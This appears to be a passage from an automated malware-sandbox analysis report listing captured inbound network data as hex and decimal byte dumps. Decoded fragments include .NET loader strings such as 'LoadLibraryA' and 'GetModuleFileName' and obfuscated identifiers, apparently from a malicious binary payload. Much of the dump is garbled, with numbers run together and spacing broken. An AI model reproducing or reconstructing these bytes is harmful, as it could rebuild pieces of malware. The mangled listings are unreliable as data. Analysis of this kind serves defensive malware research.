Data Raw: 32 33 30 20 31 38 32 20 33 32 20 32 35 20 33 35 20 32 30 35 20 31 34 20 31 32 20 32 39 20 31 3538 20 31
353920 31 33 37 20 32 35 20 31 37 36 20 31 36 33 20 34 38 20 31 37 39 20 31 36 34 20 32 30 33 20 33 20 36 20 37 37
2031 37 39 20 31 34 35 20 31 31 34 20 32 30 31 20 31 30 37 20 38 39 20 39 36 20 35 39 20 31 33 36 20 32 31 31 20 31
38 322032353020 313831203334 2035382031393820313133203731203232372037332032343120
3234 33203331203135372032303420363620323331203437203137372039322031393020313031
203131312032343120323235203139392032323420353620313232203233322036352032333520
31302031 353920383620 313233203131352031323120323520

Data Ascii: 230 182 32 25 35 205 14 12 29 158 159 137 25 176 163 48 179 164 203 3 6 77 179 145 114 201 107 89 96 59
136 211 182 250 181 34 58 198 113 71 227 73 241 243 31 157 204 66 231 47 177 92 190 101 111 241 225 199 224 56
122 232 65 235 10 159 86 123 115 121 25

Data Raw: 31 37 36 20 32 35 32 20 31 35 38 20 35 36 20 31 34 37 20 32 30 33 20 30 20 32 33 37 20 31 32 20 31 38 35
20 3120 35 38 20 35 20 32 30 30 20 31 36 30 20 37 33 20 31 36 31 20 31 31 36 20 32 32 35 20 37 30 20 36 37 20 31 38
3820 31 20 38 33 20 39 35 20 34 37 20 31 32 38 20 32 35 33 20 32 35 33 20 31 32 39 20 31 35 32 20 32 30 32 20 32 33
3220313333203136342031313820313331 2032323820 3138352036 3120363020 31303220 31 36 30
2031 36 36 2032 32 32 20 39 31 20 31 32 20 35 36 20 31 31 35 20 33 20 31 36 35 20 31 30 30 20 35 20 31 30 35 20 38
203533203132312031303020313331203131322038332031303020 3130 332032342039 34203634
20 33 39 20 39 35 20 36 39 20 31 36 31 20 31 34 37 20 37 32 20 31 39 37 20

Data Ascii: 176 252 158 56 147 203 0 237 12 185 1 58 5 200 160 73 161 116 225 70 67 188 1 83 95 47 128 253 253 129
152 202 232 133 164 118 131 228 185 61 60 102 160 166 222 91 12 56 115 3 165 100 5 105 8 53 121 100 131 112 83 100
103 24 94 64 39 95 69 161 147 72 197

Data Raw: 20 31 36 33 20 38 38 20 33 36 20 31 36 30 20 31 35 36 20 31 35 39 20 31 32 31 20 39 32 20 30 20 31 37 39
203231 36 20 36 39 20 31 32 36 20 37 36 20 31 36 35 20 31 37 32 20 33 36 20 34 39 20 31 37 39 20 39 20 31 33 34 20
323920 31 30 32 20 31 39 35 20 31 39 38 20 31 34 33 20 31 31 37 20 31 32 31 20 34 34 20 33 30 20 35 37 20 32 32 37
2033 36 20 32 33 35 20 31 39 37 20 31 34 38 20 36 32 20 31 32 39 20 31 30 31 20 31 35 32 20 38 20 32 33 39 20 39 20
323332203632 203233362035322031302031 342031353620 343320313039203132362031323520
3137 37 203135203139 35203130203134302031 37362037 32203130312033312032333120383220
3234 20 31 33 38 20 31 39 39 20 32 30 36 20 31 36 35 20 32 30 33 20 31 30

Data Ascii: 163 88 36 160 156 159 121 92 0 179 216 69 126 76 165 172 36 49 179 9 134 29 102 195 198 143 117 121 44
30 57 227 36 235 197 148 62 129 101 152 8 239 9 232 62 236 52 10 14 156 43 109 126 125 177 15 195 10 140 176 72 10
131 231 82 24 138 199 206 165 203 10

Data Raw: 31 33 20 31 37 39 20 36 32 20 32 34 34 20 31 38 39 20 31 30 39 20 37 35 20 38 38 20 32 32 30 20 33 34 20
32343920 31 37 34 20 32 33 35 20 31 38 33 20 34 32 20 32 34 34 20 31 34 30 20 32 32 33 20 32 33 30 20 34 30 20 34
34 20 32 30 38 20 31 30 30 20 36 20 31 30 35 20 31 39 38 20 38 30 20 31 30 36 20 32 32 39 20 32 33 31 20 31 38 39 20
31 39 332032 32 32 20 34 35 20 31 30 35 20 32 34 30 20 31 39 32 20 31 39 38 20 31 37 38 20 32 32 35 20 34 31 20 36
3320 31 353220 32 35 35 20 37 33 20 34 33 20 31 37 33 20 31 39 34 20 32 34 20 31 39 31 20 31 36 39 20 38 35 20 38
38 20 32 35 30 20 31 30 36 20 35 32 20 34 20 32 33 31 20 34 32 20 32 30 20 39 38 20 31 32 39 20 31 37 34 20 32 30 32
20 34 20 33 30 20 35 20 32 34 20 31 35 38 20 31 20 31 37 33 20 31 30 20 32

Data Ascii: 13 179 62 244 189 109 75 88 220 34 249 174 235 183 42 244 140 223 230 40 44 208 100 6 105 198 80 106
229 231 189 193 222 45 105 240 192 198 178 225 41 63 152 255 73 43 173 194 24 191 169 85 88 250 106 52 4 231 42
2098129174 2024305241581 17310 2

Data Raw: 30 20 31 32 35 20 37 31 20 32 32 37 20 31 32 38 20 31 38 30 20 33 33 20 39 34 20 31 38 34 20 37 32 20 31
36 3220 31 38 20 37 31 20 32 33 30 20 31 33 30 20 32 33 30 20 32 30 34 20 31 32 20 32 31 37 20 32 33 34 20 31 34 35
2037 34 20 32 30 31 20 31 38 31 20 32 35 30 20 32 33 38 20 33 32 20 34 30 20 31 39 20 39 35 20 31 30 32 20 31 35 20
32 32 3320 36 34 20 32 31 36 20 32 30 35 20 31 37 37 20 32 35 35 20 34 36 20 31 31 34 20 31 31 38 20 32 31 30 20 31
36 33 20 32 34 20 32 33 30 20 32 34 31 20 31 32 31 20 39 36 20 32 31 37 20 31 32 20 32 20 31 31 3520 3231 20 31 38
37 20 35 37 20 31 30 34 20 31 37 36 20 38 20 34 35 20 31 39 37 20 32 32 30 20 31 39 20 32 32 36 20 39 35 20 31 35 30
20 38 32 20 31 34 3520 31 34 20 31 33 37 20 32 38 20 31 33 20 31 33 34 20

Data Ascii: 0 125 71 227 128 180 33 94 184 72 162 18 71 230 130 230 204 12 217 234 145 74 201 181 250 238 32 40 19
95 102 15 223 64 216 205 177 255 46 114 118 210 163 24 230 241 121 96 217 12 2 115 21 187 57 104 176 8 45 197 220
19 226 95 150 82 145 14 137 28 13 134

Data Raw: 20 31 31 36 20 31 34 34 20 38 32 20 32 34 33 20 37 32 20 31 36 39 20 31 32 33 20 31 39 35 20 34 20 31 34
36 20 39 31 20 32 31 37 20 31 31 39 20 38 37 20 35 38 20 37 31 20 31 34 39 20 32 31 31 20 31 38 36 20 31 35 31 20 32
3330 20 33 39 20 32 33 37 20 39 33 20 37 31 20 37 30 20 31 32 35 20 31 36 31 20 32 30 32 20 32 34 32 20 31 37 30 20
32 353320 31 34 36 20 31 39 36 20 31 31 20 31 39 34 20 31 36 35 20 31 30 38 20 36 35 20 31 38 33 20 33 20 32 30 30
20 31 37 33 20 34 38 20 35 37 20 32 36 20 36 20 35 35 20 34 33 20 34 38 20 32 33 20 32 31 33 20 36 38 20 31 36 37 20
3234 3320 3231342031 31382038 34 20 31 36 32 20 32 31 31 20 32 35 31 20 31 39 32 20 38 30 20 36 35 20 31 36
3820 31 35 20 37 39 20 31 39 39 20 36 36 20 32 31 34 20 32 35 20 34 39 20

Data Ascii: 116 144 82 243 72 169 123 195 4 146 91 217 119 87 58 71 149 211 186 151 230 39 237 93 71 70 125 161 202
242 170 253 146 196 11 194 165 108 65 183 3 200 173 48 57 26 6 55 43 48 23 213 68 167 243 214 118 84 162 211 251
192 80 65 168 15 79 199 66 214 25 49

Data Raw: 20 31 38 37 20 31 34 39 20 31 34 33 20 31 31 37 20 31 20 31 30 36 20 31 37 20 31 34 30 20 31 31 37 20 32
34 3220 31 33 39 20 31 33 37 20 32 34 38 20 32 32 32 20 32 32 37 20 32 31 34 20 36 38 20 32 30 34 20 31 34 37 20 32
30 38 20 31 36 30 20 31 36 35 20 31 34 30 20 36 37 20 31 38 30 20 37 30 20 32 33 37 20 36 32 20 30 20 35 20 37 37 20
36 33 20 32 33 32 20 32 31 32 20 32 32 38 20 31 35 35 20 31 31 33 20 31 33 20 31 38 39 20 32 30 38 20 32 31 35 20 32
32 39 20 31 34 39 20 32 32 38 20 36 36 20 39 37 20 31 36 36 20 31 35 39 20 31 32 36 20 31 36 30 20 32 30 34 20 31 39
3120 31 38 39 20 31 30 39 20 37 32 20 37 31 20 31 33 38 20 32 30 33 20 31 38 33 20 31 30 39 20 38 33 20 31 30 33 20
34 39 20 32 33 30 20 31 34 33 20 31 30 37 20 35 38 20 31 35 33 20 35 30 20

Data Ascii: 187 149 143 117 1 106 17 140 117 242 139 137 248 222 227 214 68 204 147 208 160 165 140 67 180 70 237
620577 63 232212 228 155 113 13 189 208 215 229 149 228 66 97 166 159 126 160 204 191 189 109 72 71 138 203
183 109 83 103 49 230 143 107 58 153 50
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Data Raw: 20 31 36 36 20 35 39 20 32 31 20 31 34 39 20 37 38 20 33 31 20 39 34 20 35 34 20 34 20 31 32 35 20 33 32
20 3233 36 20 39 37 20 32 34 36 20 37 31 20 31 32 37 20 31 36 39 20 38 31 20 31 39 39 20 31 37 35 20 36 30 20 31 35
36 20 32 30 36 20 31 32 35 20 32 34 34 20 31 38 37 20 31 31 34 20 39 31 20 32 33 39 20 31 30 38 20 33 30 20 32 34 36
203339203834 20 323339203137 35203138 31203136 3120323337 203234332039 34203139203520
373020 3134332032 35342031 343420313439 203233352038203136382032323320373120313330
20 34 33 20 32 34 34 20 39 37 20 31 38 32 20 34 36 20 38 20 31 39 20 32 32 33 20 38 31 20 32 31 38 20 39 37 20 38 35
20353820 313136203235 322032343820313832203137372031

Data Ascii: 166 59 21 149 78 31 94 54 4 125 32 236 97 246 71 127 169 81 199 175 60 156 206 125 244 187 114 91 239
108 30 246 39 84 239 175 181 161 237 243 94 19 5 70 143 254 144 149 235 8 168 223 71 130 43 244 97 182 46 8 19 223
81218 97 8558 116 252 248 182177 1

Data Raw: 33 20 39 20 32 39 20 34 39 20 31 33 30 20 32 32 33 20 36 36 20 33 37 20 35 32 20 35 35 20 31 36 30 20 36
30 20 35 33 20 31 30 39 20 32 30 31 20 34 35 20 34 35 20 37 38 20 31 37 30 20 31 38 37 20 38 37 20 37 39 20 31 34 39
2032 31 31 20 38 20 34 30 20 31 38 34 20 31 39 34 20 33 34 20 31 35 31 20 31 32 30 20 31 31 39 20 37 38 20 30 20 31
3531203234 2039 33203137 352031333420 313039 203133322037 3420323136 2031363620323535
2031 34 3420 31 34 39 20 31 37 34 20 32 34 35 20 36 30 20 32 34 30 20 31 32 36 20 32 32 36 20 31 34 34 20 31 38 31
2037 3920 38 3420 37 34 20 32 37 20 31 36 38 20 32 32 37 20 31 30 35 20 31 37 32 20 31 34 20 37 38 20 34 30 20 32
33 39 20 31 38 35 20 31 36 38 20 31 36 33 20 36 34 20 32 32 34 20 36 34 20

Data Ascii: 3 9 29 49 130 223 66 37 52 55 160 60 53 109 201 45 45 78 170 187 87 79 149 211 8 40 184 194 34 151 120
11978 0 151 24 93 175 134 109 132 74 216 166 255 144 149 174 245 60 240 126 226 144 181 79 84 74 27 168 227 105
172 14 78 40 239 185 168 163 64 224 64

Data Raw: 20 38 33 20 31 35 33 20 31 37 35 20 39 37 20 32 35 34 20 31 31 33 20 32 30 35 20 31 32 37 20 38 20 32 32
3020 31 39 36 20 31 33 36 20 31 30 30 20 31 30 33 20 32 30 30 20 32 31 39 20 34 39 20 31 31 38 20 31 39 20 31 38 36
2032 31 3520 31 3538 20 32 35 35 20 32 38 20 31 32 35 20 35 34 20 32 34 31 20 31 37 20 31 37 32 20 32 34 37 20 32
3231203134332031333920323137203334 203133302039 37203138 352032333620313330203132
36 20 31 38 39 20 32 32 37 20 32 34 37 20 32 20 33 38 20 31 30 20 38 32 20 35 39 20 38 33 20 31 34 34 20 32 34 37 20
323432203131322032333820343020313731203134382032343520313531203233352031343120
3720 37 352032 3039 20 31 37 34 20 32 33 39 20 32 31 20 32 33 30 20 38

Data Ascii: 83 153 175 97 254 113 205 127 8 220 196 136 100 103 200 219 49 118 19 186 215 158 255 28 125 54 241 17
172 247 221 143 139 217 34 130 97 185 236 130 126 189 227 247 2 38 10 82 59 83 144 247 242 112 238 40 171 148 245
151 235141 7 75 209 174 239 21 230 8

Data Raw: 35 32 20 35 38 20 38 34 20 31 32 35 20 31 33 38 20 38 20 31 31 35 20 32 33 34 20 32 20 31 31 20 31 36 31
203234 3520 31 333020 31363120 313334203137 392031393020 3220323031203231352031353420
3130 36 20 32 32 36 20 32 30 34 20 31 38 36 20 31 36 33 20 36 32 20 31 32 20 36 30 20 31 30 39 20 35 30 20 32 30 39
2038 3220323333 203235312032 34362032 323220 3139352032 3238 2036 3220 32 353120313138 20
323535203230332033392031343720313730203133302032303820322031333320313135203132
3420 32343220313033203135372031323120333320393020313238203138312031343620343320
323137 20 31 36 3020 31 36 36 20 39 36 20 31 30 37 20 31 30 38 20 39 38

Data Ascii: 52 58 84 125 138 8 115 234 2 11 161 245 130 161 134 179 190 2 201 215 154 106 226 204 186 163 62 12 60
109 50 209 82 233 251 246 222 195 228 62 251 118 255 203 39 147 170 130 208 2 133 115 124 242 103 157 121 33 90
128 181 146 43 217 160 166 96 107 108 98

Data Raw: 20 32 38 20 31 36 31 20 31 20 39 33 20 32 33 33 20 31 34 35 20 31 38 38 20 32 31 36 20 38 37 20 32 33 39
20 33 30 20 31 35 39 20 32 35 35 20 32 33 32 20 38 37 20 35 20 32 31 33 20 30 20 38 34 20 37 30 20 31 38 20 31 38 20
3136 33 20 37 30 20 31 38 20 33 31 20 36 34 20 31 31 32 20 32 32 30 20 31 35 30 20 31 38 20 31 38 37 20 31 35 32 20
37 3520 38 31 20 31 34 34 20 31 34 33 20 34 34 20 39 33 20 31 39 20 33 38 20 32 32 38 20 32 20 32 33 36 20 31 39 39
20 37 20 31 39 35 20 31 34 39 20 31 32 37 20 35 20 31 37 38 20 31 32 39 20 31 39 33 20 39 34 20 31 31 31 20 35 30 20
36 20 31 33 35 20 33 33 20 32 33 35 20 31 38 34 20 31 37 20 34 39 20 31 31 20 31 34 36 20 31 31 31 20 32 32 37 20 32
3138 20 32 3530 20 31 32 38 20 31 36 39 20 31 38 33 20 31 37 33 20 31 33

Data Ascii: 28 161 1 93 233 145 188 216 87 239 30 159 255 232 87 5213 0 84 70 18 18 163 70 18 31 64 112 220 150 18
187 152 75 81 144 143 44 93 19 38 228 2 236 199 7 195 149 127 5178 129 193 94 111 50 6 135 33 235 184 17 49 11 146
111 227 218 250 128 169 183 173 13

Data Raw: 32 20 33 20 30 20 30 20 30 20 32 35 34 20 31 34 20 32 20 30 20 31 31 34 20 37 39 20 32 35 31 20 33 20 31
313220 31 31 34 20 36 39 20 32 35 31 20 33 20 31 31 32 20 34 30 20 35 38 20 30 20 30 20 31 30 20 32 35 34 20 31 34
20 34 20 30 20 33 32 20 34 20 30 20 30 20 30 20 32 35 34 20 31 34 20 32 20 30 20 31 31 34 20 37 39 20 32 35 31 20 33
203131322031 31 34 20 36 39 20 32 35 31 20 33 20 31 31 32 20 34 30 20 35 38 20 30 20 30 20 31 30 20 32 35 34 20
31 34 20 35 20 30 20 33 32 20 35 20 30 20 30 20 30 20 32 35 34 20 31 34 20 32 20 30 20 31 31 34 20 37 39 20 32 35 31
2033 20 31 31 32 20 31 31 34 20 36 39 20 32 35 31 20 33 20 31 31 32 20 34 30 20 35 38 20 30 20 30 20 31 30 20 32 35
34 20 31 34 20 36 20 30 20 33 32 20 36 20 30 20 30 20 30 20 32 35 34 20 31

Data Ascii: 230002541420 114 79 251 3112 114 69 2513112405800 10254 1440324000254 142011479
25131121146925131124058001025414503250002541420114792513112114692513112405800
102541460326000254 1

Data Raw: 31 31 34 20 32 32 39 20 32 20 34 20 31 31 32 20 34 30 20 32 35 20 30 20 30 20 36 20 31 31 31 20 37 38 20

30 20 30 20 31 30 20 31 31 34 20 32 35 20 39 20 34 20 31 31 32 20 31 31 31 20 34 31 20 30 20 30 20 31 30 20 32 35 34
20 31 34 20 32 32 20 30 20 32 35 34 20 31 32 20 32 32 20 30 20 35 37 20 32 34 20 30 20 30 20 30 20 33 32 20 35 31 20
30 20 30 20 30 20 32 35 34 20 31 34 20 33 20 30 20 33 32 20 31 20 30 20 30 20 30 20 32 35 34 20 31 34 20 30 20 30 20
35 36 20 33 36 20 33 20 30 20 30 20 30 20 30 20 33 32 20 35 33 20 30 20 30 20 30 20 32 35 34 20 31 34 20 33 20 30 20
31 31 34 20 35 20 33 20 34 20 31 31 32 20 31 31 34 20 36 31 20 33 20 34 20 31 31 32 20 34 30 20 32 35 20 30 20 30 20
36 20 31 31 31 20 37 38 20 30 20 30 20 31 30 20 31 31 34 20 32 35 20 39 20

Data Ascii: 11422924 1124025006111 7800101142594 1121114100 10254 14220254122205724000
32510002541430321000254140056363000032530002541430114534112114613411240250
06111780010114259

Data Raw: 36 20 31 31 32 20 31 20 30 20 34 20 32 20 31 32 36 20 34 36 20 30 20 30 20 31 30 20 31 32 36 20 31 31 35
20 3020 30 20 31 30 20 31 32 36 20 31 31 35 20 30 20 30 20 31 30 20 32 32 20 33 32 20 34 20 30 20 30 20 38 20 31 32
36 20 31 31 35 20 30 20 30 20 31 30 20 32 30 20 31 38 20 31 20 31 38 20 32 20 31 31 31 20 31 34 35 20 30 20 30 20 36
2032 322032 35 34 20 31 20 31 39 20 31 37 20 31 37 20 31 37 20 34 34 20 31 31 20 34 30 20 37 33 20 30 20 30 20 36
20 31 31 35 20 31 34 32 20 30 20 30 20 31 30 20 31 32 32 20 30 20 33 20 33 31 20 36 30 20 34 30 20 31 34 33 20 30 20
30 20 31 30 20 31 39 20 34 20 33 20 31 37 20 34 20 33 31 20 35 32 20 32 31 34 20 34 30 20 31 34 33 20 30 20 30 20 31
30 20 31 39 20 35 20 33 32 20 31 37 39 20 30 20 30 20 30 20 31 34 31 20 36

Data Ascii: 6 1121042126 460010 126 1150010126 115001022324008 126 11500102018 118 2 111 145
0062225411917171744114073006115142001012203316040143001019431743152214401430
010195321790001416
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Data Raw: 20 31 38 20 30 20 30 20 30 20 33 31 20 35 33 20 31 35 37 20 33 37 20 33 32 20 31 38 20 30 20 30 20 30 20
333120 35302031 353720333720 3331203138203331203131312031353720333720333220313720
30 20 30 20 30 20 33 31 20 34 38 20 31 35 37 20 33 37 20 33 32 20 31 37 20 30 20 30 20 30 20 33 31 20 35 34 20 31 35
372033372033 3220313720 302030203020 33312039 3820313537 20333720333120313720333120
31303520313537 203337 20333220 31362030 20 3020 30 20 33 31203537 20313537 20333720333220
3136 20 30 20 30 20 30 20 33 31 20 31 30 31 20 31 35 37 20 33 37 20 33 32 20 31 36 20 30 20 30 20 30 20 33 31 20 39
3820313537 2033372033 312031362033312031 313620313537

Data Ascii: 180003153157 3732180003150 157 3731 1831 111 1573732170003148 157373217000 31
54157 3732170003198 157 37 311731105157 3732160003157 15737321600031101157373216000
3198 157 37 31 16 31 116 157

Data Raw: 31 20 30 20 31 31 31 20 32 30 30 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 30 20 30 20 32 35 34 20 31
332030 20 30 20 34 30 20 31 39 38 20 30 20 30 20 31 30 20 35 37 20 34 32 20 30 20 30 20 30 20 32 35 34 20 39 20 30
203020 31 31 34 20 31 34 20 31 38 20 34 20 31 31 32 20 32 35 34 20 39 20 31 20 30 20 31 31 31 20 32 30 30 20 30 20
3020 3130203235 34203134 203120302032 35342031 332031203020 32353420 32322031 34203020
302032372031 313120313920 302030203130 20343020 313033203020 30 20 36 20 34 32 20 30 20 30 20
3139 20 34 38 20 33 20 30 20 31 33 39 20 30 20 30 20 30 20 34 39 20 30 20 30 20 31 37 20 32 35 34 20 39 20 31 20 30
2031 313120323031 2030203020 313020323534 203134203020

Data Ascii: 1011120000 10254140025413004019800105742000254900114141841122549101112
000010254141025413102542214002711119001040103006420019483013900049001725491
01112010010254140

Data Raw: 20 32 32 20 30 20 31 30 36 20 31 35 39 20 32 33 39 20 38 20 32 32 20 30 20 31 33 20 31 36 32 20 32 33 39
203820 32 32 20 30 20 32 34 38 20 31 30 31 20 32 34 33 20 38 20 36 20 30 20 31 34 30 20 31 31 34 20 31 31 34 20 32
20 31 20 30 20 32 33 37 20 38 39 20 32 30 37 20 39 20 31 20 30 20 32 30 39 20 31 34 35 20 32 30 37 20 39 20 31 20 30
203232332033 3420323037 203920312031 362032343420313637 2032313020 392031203020 3139
20 353920323137 2039203120302032343220353120323137203920312030203139322031323520
323137 203920312030 20313034 203130332032 3137203920 3620302031 353020 31353220323137
20 39 20 36 20 30 20 32 35 20 31 34 35 20 32 31 37 20 39 20 36 20 30 20 31

Data Ascii: 22 0 106 159 2398 22 0 13 162 239 8 22 0 248 101 2438 6 0 140 114 114 2 1 0 237 89 207 9 1 0 209 145
207910223342079116244167210910195921791024251217910192125217910 104103217960 150
152217960251452179601

Data Raw: 32 20 31 38 20 31 31 33 20 30 20 35 32 20 30 20 31 37 32 20 31 38 20 31 31 33 20 30 20 32 38 20 30 20 32
34 3020 34 20 30 20 31 20 33 36 20 30 20 32 34 30 20 34 20 30 20 31 20 34 34 20 30 20 32 34 30 20 34 20 30 20 31 20
3532 20 30 20 32 34 30 20 34 20 30 20 31 20 31 37 20 30 20 32 30 31 20 32 30 20 32 31 38 20 30 20 31 37 20 30 20 31
3930 20 3520 32 32 33 20 30 20 32 30 39 20 33 20 32 32 35 20 34 20 37 20 31 37 20 36 38 20 30 20 32 33 37 20 31 30
2032 353220302032 31372033203233352031372034342031372038312033203231362031372035
332031372032313720332031383720313120313133203137203132312031203233382030203131
3920 31 37 20 31 34 35 20 31 20 31 37 32 20 31 38 20 32 33 36 20 39 20 32

Data Ascii: 218 113052017218 11302802404013602404014402404015202404011702012021801
7019052230209322547 17680237 1025202173235174417 813216175317 21731871111317 1211 238
011917 1451172182369 2

Data Raw: 36 20 35 35 20 35 37 20 38 38 20 35 33 20 35 37 20 37 39 20 31 30 30 20 35 35 20 35 37 20 38 33 20 35 36
20 31 30 32 20 35 36 20 30 20 36 30 20 37 37 20 31 31 31 20 31 30 30 20 31 31 37 20 31 30 38 20 31 30 31 20 36 32 20
302037 312031 30312031 313620373720 31313120 313030203131 37203130382031303120373020
31 30352031 30 38 20 31 30 31 20 37 38 20 39 37 20 31 30 39 20 31 30 31 20 36 35 20 30 20 37 36 20 31 31 31 20 39
37 20 31 30 30 20 37 36 20 31 30 35 20 39 38 20 31 31 34 20 39 37 20 31 31 34 20 31 32 31 20 36 35 20 30 20 39 35 20
39 35 20 39 35 20 36 37 20 38 36 20 37 37 20 35 35 20 35 34 20 31 30 30 20 31 30 30 20 31 30 31 20 31 31 32 20 31 30
32 20 35 37 20 35 35 20 34 38 20 36 38 20 30 20 36 35 20 31 30 38 20 31 30

Data Ascii: 6 55 57 88 53 57 79 100 55 57 83 56 102 56 0 60 77 111 100 117 108 101 62 0 71 101 116 77 111 100 117
108 101 70 105 108 101 78 97 109 101 650 76 111 97 100 76 105 98 114 97 114 121 65 0 95 95 95 67 86 77 55 54 100
100 101 112 102 57 55 48 68 0 65 108 10

Data Raw: 36 20 38 32 20 31 31 37 20 31 31 30 20 31 31 36 20 31 30 35 20 31 30 39 20 31 30 31 20 34 36 20 36 37 20
3131312031 303920 313132203130 3520313038 203130312031 31342038 332031303120 31313420
313138 20 31 30 35 20 39 39 20 31 30 31 20 31 31 35 20 30 20 37 39 20 31 31 32 20 39 39 20 31 31 31 20 31 30 30 20
3130312031 313520302038 302031313420 31313120313132203130312031313420313136203130
352031303120 31 31 352030 2031303520 31 31 30 20 31 30 34 20 31 30 31 20 31 31 34 20 31 30 3520 31 31 36
2037 322039 3720 31 31 3020 31 30 30 20 31 30 38 20 31 30 31 20 31 31 3520 30 20 31 30 332031 303120 31 31
36 20 39 35 20 37 38 20 39 37 20 31 30 39 20 31 30 31 20 31 31 35 20 30 20

Data Ascii: 6 82 117 110 116 105 109 101 46 67 111 109 112 105 108 101 114 83 101 114 118 105 99 101 1150 79 112
99111 100101 115080 114 111 112 101 114 116 105 101 115 0 105 110 104 101 114 105 116 72 97 110 100 108 101
1150103 101 116 95 78 97 109 101 115 0

Data Raw: 33 31 20 31 37 34 20 31 38 34 20 32 33 31 20 31 37 35 20 31 36 35 20 32 33 31 20 31 37 34 20 31 37 36 20
3233312031 373520313239 2032 3331203137 352031333120 32333120 3137342031373820323331
2031 37 3520 31 36 30 20 32 33 31 20 31 37 35 20 31 36 31 20 32 33 31 20 31 37 35 20 31 33 32 20 30 20 32 32 35 20
31 38 332031 38 34 20 32 32 35 20 31 38 33 20 31 38 39 20 32 32 35 20 31 38 33 20 31 33 32 20 32 32 35 20 31 38 33
20 31 38 36 20 32 32 35 20 31 38 33 20 31 36 39 20 32 32 35 20 31 38 34 20 31 33 30 20 32 32 35 20 31 38 33 20 31 33
322032 32352031 383320 31 33 3220 32 32 35 20 31 38 33 20 31 34 30 20 32 32 35 20 31 38 33 20 31 38 36 20 32
32 3520 31 38 33 20 31 33 37 20 32 32 35 20 31 38 33 20 31 38 31 20 32 32

Data Ascii: 31 174 184 231 175 165 231 174 176 231 175 129 231 175 131 231 174 178 231 175 160 231 175 161 231 175
132 0225 183 184 225 183 189 225 183 132 225 183 186 225 183 169 225 184 130 225 183 132 225 183 132 225 183
140 225 183 186 225 183 137 225 183 181 22

Data Raw: 20 31 38 36 20 31 38 32 20 32 33 32 20 31 38 36 20 31 34 30 20 32 33 32 20 31 38 36 20 31 33 38 20 32 33
322031 38 36 20 31 36 35 20 32 33 32 20 31 38 36 20 31 33 38 20 32 33 32 20 31 38 36 20 31 34 30 20 32 33 32 20 31
38 36 20 31 36 37 20 32 33 32 20 31 38 37 20 31 33 39 20 32 33 32 20 31 38 36 20 31 33 39 20 30 20 31 39 37 20 31 39
3020 31 3937 20 31 34 35 20 31 39 37 20 31 33 39 20 31 39 37 20 31 34 34 20 31 39 37 20 31 39 30 20 31 39 37 20 31
34 3120 31 39 37 20 31 33 37 20 31 39 38 20 31 33 39 20 31 39 37 20 31 34 35 20 31 39 37 20 31 38 39 20 31 39 37 20
31 33 36 20 31 39 37 20 31 34 31 20 31 39 37 20 31 34 30 20 31 39 37 20 31 38 38 20 31 39 38 20 31 33 39 20 30 20 32
32 39 20 31 33 34 20 31 35 33 20 32 32 39 20 31 33 34 20 31 35 33 20 32 32

Data Ascii: 186 182 232 186 140 232 186 138 232 186 165 232 186 138 232 186 140 232 186 167 232 187 139 232 186
139 0197 190 197 145 197 139 197 144 197 190 197 141 197 137 198 139 197 145 197 189 197 136 197 141 197 140
197 188 198 139 0 229 134 153 229 134 153 22
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 35 36 20 31 34 38 20 32 32 38 20 31 35 36 20 31 33 38 20 32 32 38 20 31 35 35 20 31 34 37 20 32 32 38 20

31 353520 31 35 30 20 32 32 38 20 31 35 36 20 31 35 33 20 32 32 38 20 31 35 36 20 31 34 34 20 32 32 38 20 31 35 35
2031 38 34 20 32 32 38 20 31 35 35 20 31 35 33 20 32 32 38 20 31 35 36 20 31 33 32 20 32 32 38 20 31 35 35 20 31 34
34 203232382031 35352031 353220323238 203135352031 343820323238 2031353520313531 2032
323820 3135352031 34 36 20 30 20 32 33 36 20 31 35 37 20 31 38 34 20 32 33 36 20 31 35 37 20 31 39 31 20 32 33
3620 31 3537 2031 37 35 20 32 33 36 20 31 35 36 20 31 38 35 20 32 33 36 20 31 35 37 20 31 36 38 20 32 33 36 20 31
35 36 20 31 38 38 20 32 33 36 20 31 35 36 20 31 38 31 20 32 33 36 20 31 35

Data Ascii: 56 148 228 156 138 228 155 147 228 155 150 228 156 153 228 156 144 228 155 184 228 155 153 228 156 132
228 155 144 228 155 152 228 155 148 228 155 151 228 155 146 0 236 157 184 236 157 191 236 157 175 236 156 185
236 157 168 236 156 188 236 156 181 236 15

Data Raw: 20 31 38 36 20 32 33 32 20 31 36 34 20 31 38 35 20 32 33 32 20 31 36 34 20 31 37 38 20 32 33 32 20 31 36
342031 34 38 20 32 33 32 20 31 36 34 20 31 34 35 20 32 33 32 20 31 36 34 20 31 34 39 20 32 33 32 20 31 36 34 20 31
36 38 20 32 33 32 20 31 36 35 20 31 33 35 20 32 33 32 20 31 36 35 20 31 33 37 20 32 33 32 20 31 36 35 20 31 33 32 20
32 333220313634 20313435203233322031 363420313637 203233322031 36352031333820323332
203136342031353320302032333120313731203135352032333120313732203133372032333120
313731203135352032333120313731203138322032333120313731203135352032333120313731
20313534 203233312031373120313730203233312031373120

Data Ascii: 186 232 164 185 232 164 178 232 164 148 232 164 145 232 164 149 232 164 168 232 165 135 232 165 137
232 165 132 232 164 145 232 164 167 232 165 138 232 164 153 0 231 171 155 231 172 137 231 171 155 231 171 182
231171155231 171154231 171170231171

Data Raw: 37 38 20 32 33 33 20 31 36 31 20 31 32 38 20 32 33 33 20 31 36 30 20 31 37 35 20 32 33 33 20 31 36 31 20
3135392032 33 33203136 312031 3539 20 32 33 33 20 31 36 31 20 31 37 30 20 32 33 33 20 31 36 30 20 31 37 33
20 32 33 33 20 31 36 30 20 31 37 34 20 32 33 33 20 31 36 30 20 31 37 39 20 32 33 33 20 31 36 30 20 31 37 34 20 32 33
3320313630203137312032333320313630 2031383020 3233332031 363120313630203233332031
36 31 20 31 36 30 20 30 20 32 32 34 20 31 36 35 20 31 34 33 20 32 32 34 20 31 36 35 20 31 35 30 20 32 32 34 20 31 36
352031 363020323234 2031 363520313439 203232342031 363620313238 20323234203136362031
3338 20 32 32 34 20 31 36 35 20 31 35 32 20 32 32 34 20 31 36 35 20 31 35

Data Ascii: 78 233 161 128 233 160 175 233 161 159 233 161 159 233 161 170 233 160 173 233 160 174 233 160 179 233
160 174 233 160 171 233 160 180 233 161 160 233 161 160 0 224 165 143 224 165 150 224 165 160 224 165 149 224
166 128 224 166 138 224 165 152 224 165 15

Data Raw: 33 38 20 31 37 33 20 31 33 33 20 32 33 38 20 31 37 33 20 31 33 30 20 32 33 38 20 31 37 32 20 31 34 39 20
3233382031 37332031 333820323338 2031373220 313531203233 38 20 31 37 33 20 31 34 36 20 32 33 38
